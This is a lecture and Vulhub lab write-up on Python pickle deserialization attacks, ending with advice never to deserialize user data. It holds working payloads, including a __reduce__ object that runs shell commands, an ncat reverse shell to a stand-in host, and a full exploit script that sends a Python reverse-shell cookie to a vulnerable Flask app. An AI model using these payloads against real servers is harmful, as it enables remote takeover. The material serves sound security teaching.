Python Deserialization

Lecture

pickle

Use pickle.dumps for serialization and pickle.loads for deserialization:

import pickle

class User:
    def __init__(self, name, age):
        self.name = name
        self.age = age
    def summary(self):
        return f"{self.name} is {self.age} year(s) old."

keanu_reeves = User('Keanu Reeves', 490)

serialized = pickle.dumps(keanu_reeves)
print(f"{serialized = }")
keanu_2077 = pickle.loads(serialized)
print(keanu_2077.summary())

__reduce__()

Motivation: Whenever you try to pickle an object, there will be some properties that may not serialize well. For instance, an open file handle. In this case, pickle won't know how to handle the object and will throw an error.

Solution: To overcome this barrier, pickle implemented the __reduce()__ method. __reduce__() is a special method that is referenced when we are serializing data. The reduce function essentially tells the pickle library how to serialize the object. Then, when we are unserializing the data, this information is used to rebuild the object.

The following code will generate a payload that executes id:

import pickle

class GNAT:
    def __reduce__(self):
        import os
        return (os.system, ('id',))

serialized = pickle.dumps(GNAT())
print(serialized)

Attack Scenario

Suppose there is a Windows server running a web app that serializes user cookie using pickle. The following code will generate a cookie that executes the reverse shell payload:

import pickle

class GNAT:
    def __reduce__(self):
        import os
        return (
            os.system, (
                'ncat -e powershell.exe hacker.man 1337',
                )
            )

serialized = pickle.dumps(GNAT())
encoded = base64.b64encode(serialized)
print(encoded)

Lab: Vulhub Python unpickle Deserialization

Setup

Code Review

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        username = user["username"]
    except:
        username = "Guest"

    return "Hello %s" % username

if __name__ == "__main__":
    app.run()

The cookie user is deserialized by pickle.loads(). Since the cookie is a type of user-controlled data, this Flask web app is vulnerable to Python unpickle deserialization attack.

Solution

We are going to create a malicious object containing the reverse shell payload and send it to the server. On the server side, the Flask web app will deserializes the malicious payload and execute it:

class Exploit(object):
    def __reduce__(self):
        reverse_shell_payload = f"""
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{docker_ip}",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
        """

        return (os.system, (reverse_shell_payload,))

Exploit

Note that Docker IP (our netcat listener's IP) is 172.17.0.1 by default and the Flask IP is either 172.19.0.1 or 127.0.0.1, both work.

#!/usr/bin/env python3
import requests
import pickle
import os
import base64

# CHANGE ME
docker_ip = '172.17.0.1'
flask_ip = '172.19.0.1'

class Exploit(object):
    def __reduce__(self):
        reverse_shell_payload = f"""
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{docker_ip}",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
        """

        return (os.system, (reverse_shell_payload,))

exploit = Exploit()
serialized = pickle.dumps(exploit)

response = requests.get(
    f'http://{flask_ip}:8000',
    cookies=dict(user=base64.b64encode(serialized).decode()),
)

print(response.content)

Takeaway

Do NOT deserialize user-provided data, such as cookies, URL parameters, and etc.

Last updated